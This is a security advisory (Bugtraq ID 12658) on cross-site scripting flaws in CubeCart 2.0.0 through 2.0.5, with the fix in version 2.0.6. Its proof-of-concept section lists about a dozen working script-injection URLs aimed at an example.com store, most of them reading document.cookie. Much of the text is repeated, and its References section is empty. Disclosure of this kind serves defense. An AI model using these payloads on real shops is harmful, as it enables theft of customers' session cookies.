CubeCart Multiple Cross-Site Scripting Vulnerabilities
BID:12658
Info
CubeCart Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 12658 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 25 2005 12:00AM |
| Updated: | Feb 25 2005 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Lostmon <[email protected]>. |
| Vulnerable: |
CubeCart CubeCart 2.0.5 CubeCart CubeCart 2.0.3 CubeCart CubeCart 2.0.2 CubeCart CubeCart 2.0.1 CubeCart CubeCart 2.0 .0 |
| Not Vulnerable: |
CubeCart CubeCart 2.0.6 |
Discussion
CubeCart Multiple Cross-Site Scripting Vulnerabilities
CubeCart is affected by multiple cross-site scripting vulnerabilities; an upgrade is available.
These issues exist because the application fails to properly sanitize user-supplied input.
As a result of these vulnerabilities, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
CubeCart is affected by multiple cross-site scripting vulnerabilities; an upgrade is available.
These issues exist because the application fails to properly sanitize user-supplied input.
As a result of these vulnerabilities, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
CubeCart Multiple Cross-Site Scripting Vulnerabilities
No exploit is required.
The following proof of concepts are available:
http://www.example.com/cubecart/?"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/view_order.php?cat_id=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/forgot_pass.php?catname='pruebas1'"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/index.php?cat_id=5"><body><p><h1>CubeCart XSS Pow@ !!!</h1></p>/<body>
http://www.example.com/cubecart/view_order.php?session=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/view_order.php?product=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/your_orders.php?cat_id="><script>document.write(document.cookie)</script>
http://www.example.com/cubecart/view_product.php?product=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/tellafriend.php?product=1&session="><script>alert(document.cookie)</script>
http://www.example.com/cubecart/tellafriend.php?product=1"><script>document.write(document.cookie)</script>
http://www.example.com/cubecart/login.php?session="><script>alert(document.cookie);</script>
http://www.example.com/cubecart/search.php?search=".,script.alert(document.cookie)</script>
No exploit is required.
The following proof of concepts are available:
http://www.example.com/cubecart/?"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/view_order.php?cat_id=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/forgot_pass.php?catname='pruebas1'"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/index.php?cat_id=5"><body><p><h1>CubeCart XSS Pow@ !!!</h1></p>/<body>
http://www.example.com/cubecart/view_order.php?session=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/view_order.php?product=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/your_orders.php?cat_id="><script>document.write(document.cookie)</script>
http://www.example.com/cubecart/view_product.php?product=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/tellafriend.php?product=1&session="><script>alert(document.cookie)</script>
http://www.example.com/cubecart/tellafriend.php?product=1"><script>document.write(document.cookie)</script>
http://www.example.com/cubecart/login.php?session="><script>alert(document.cookie);</script>
http://www.example.com/cubecart/search.php?search=".,script.alert(document.cookie)</script>
Solution / Fix
CubeCart Multiple Cross-Site Scripting Vulnerabilities
Solution:
The vendor has addressed this issue in CubeCart 2.0.6.
CubeCart CubeCart 2.0 .0
CubeCart CubeCart 2.0.1
CubeCart CubeCart 2.0.2
CubeCart CubeCart 2.0.3
CubeCart CubeCart 2.0.5
Solution:
The vendor has addressed this issue in CubeCart 2.0.6.
CubeCart CubeCart 2.0 .0
-
Brooky CubeCart CubeCart 2.0.6
http://www.cubecart.com/site/downloads/
CubeCart CubeCart 2.0.1
-
Brooky CubeCart CubeCart 2.0.6
http://www.cubecart.com/site/downloads/
CubeCart CubeCart 2.0.2
-
Brooky CubeCart CubeCart 2.0.6
http://www.cubecart.com/site/downloads/
CubeCart CubeCart 2.0.3
-
Brooky CubeCart CubeCart 2.0.6
http://www.cubecart.com/site/downloads/
CubeCart CubeCart 2.0.5
-
Brooky CubeCart CubeCart 2.0.6
http://www.cubecart.com/site/downloads/
References
CubeCart Multiple Cross-Site Scripting Vulnerabilities
References:
References: